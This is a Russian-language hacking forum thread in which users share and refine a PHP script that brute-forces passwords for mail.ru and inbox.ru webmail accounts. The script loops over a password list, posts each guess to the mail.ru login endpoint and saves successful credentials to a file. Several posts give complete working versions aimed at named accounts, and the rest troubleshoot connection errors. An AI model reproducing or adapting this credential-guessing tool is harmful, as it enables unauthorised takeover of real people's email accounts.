Как доделать этот скрипт до нормального брута? Может у кого есть норм брут. Был бы очень благодарен. PHP: <?php $login="login"; $domain="mail.ru"; $at="@"; $xfile = @file("pass.txt"); for ($i=0;$i<count($xfile);$i++) { $pass = trim($xfile[$i]); $hostname = "win.mail.ru"; $path = "/cgi-bin/auth"; $fp = fsockopen($hostname,80); if(!$fp){ echo"А****ть!"; } else{ $data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"; // отправляемые даные! $headers = "POST $path HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "Connection: close\r\n"; $headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n"; $headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n"; $headers .= "Accept-Language: en-us,en;q=0.5\r\n"; $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n"; $headers .= "Referer: $hostname\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; // вставишь свои куки ток аони не нужны...гг //$headers .= "Cookie:\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; fputs($fp,$headers.$data); while(!feof($fp)) { $file_saper=fread($fp,1000); if (eregi("Location",$file_saper)) { $fp=fopen("good.txt","a"); fputs($fp,"$login$at$domain;$pass\n"); fclose($fp); echo"Нашелся пароль уже... все ..мож дальше не искать!"; exit; } } } } fclose($fp); ?>
dewwil,а чем тебя этот вариант не устраивает? Раcкомментируй код до конца Мои рекомендации: Добавить сет_тайм_лимит(не у всех он установлен на "бесконечность")
Многопоточность никак, в PHP нет многопоточности, а соксы в полезных скриптах выкладывали класс для работы с ними
PHP: <?php set_time_limit(0); $login="antichat"; $domain="mail.ru"; Кусочек твоего кода с изменениями.Я бы добавил еще,что бы после каждой неудачной попытки выводилось примерно следующее: Это удобно,да и дописать всего 4 строчки
чета запускаю скрипт а мне выдает Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/www/xxx.100webspace.net/sws.php on line 11 Warning: fsockopen() [function.fsockopen]: unable to connect to win.mail.ru:80 (Unknown error) in /home/www/xxx.100webspace.net/sws.php on line 11
Что-то с хостом.Пробуй на денвере Вот этот код(немного изменный) работает на отлично: PHP: <?php set_time_limit(0); $login="shock.world"; $domain="inbox.ru"; $at="@"; $xfile = @file("pass.txt"); for ($i=0;$i<count($xfile);$i++) { $l=$i+1; $pass = trim($xfile[$i]); $hostname = "win.mail.ru"; $path = "/cgi-bin/auth"; $fp = fsockopen($hostname,80); if(!$fp){ echo"А****ть!"; } else{ $data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"; // отправляемые даные! $headers = "POST $path HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "Connection: close\r\n"; $headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n"; $headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n"; $headers .= "Accept-Language: en-us,en;q=0.5\r\n"; $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n"; $headers .= "Referer: $hostname\r\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; fputs($fp,$headers.$data); while(!feof($fp)) { $file_saper=fread($fp,1000); if (eregi("Location",$file_saper)) { $fp=fopen("good.txt","a"); fputs($fp,"$login$at$domain;$pass\n"); fclose($fp); echo"Пароль найден.Пароль: <b>$pass</b>"; exit; } } echo "Попытка номер $l неудачна<br>"; flush(); } } fclose($fp); ?>
я про тоже. интерпретатор выполняет код построчно. Тоесть в любом случае, команды запускаются не одновременно, а одна за другой.
пробовал на другом хосте запускать, пишет следующее: Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/s/xxx.h18.ru/WWW/cgi-bin/sniff.php on line 13 А****ть! Warning: fclose(): supplied argument is not a valid stream resource in /home/s/xxx.h18.ru/WWW/cgi-bin/sniff.php on line 49
тоже не работает на этом. А ошибка вылезла из-за того, что он не смог открыть сокет -> ему нечего закрывать.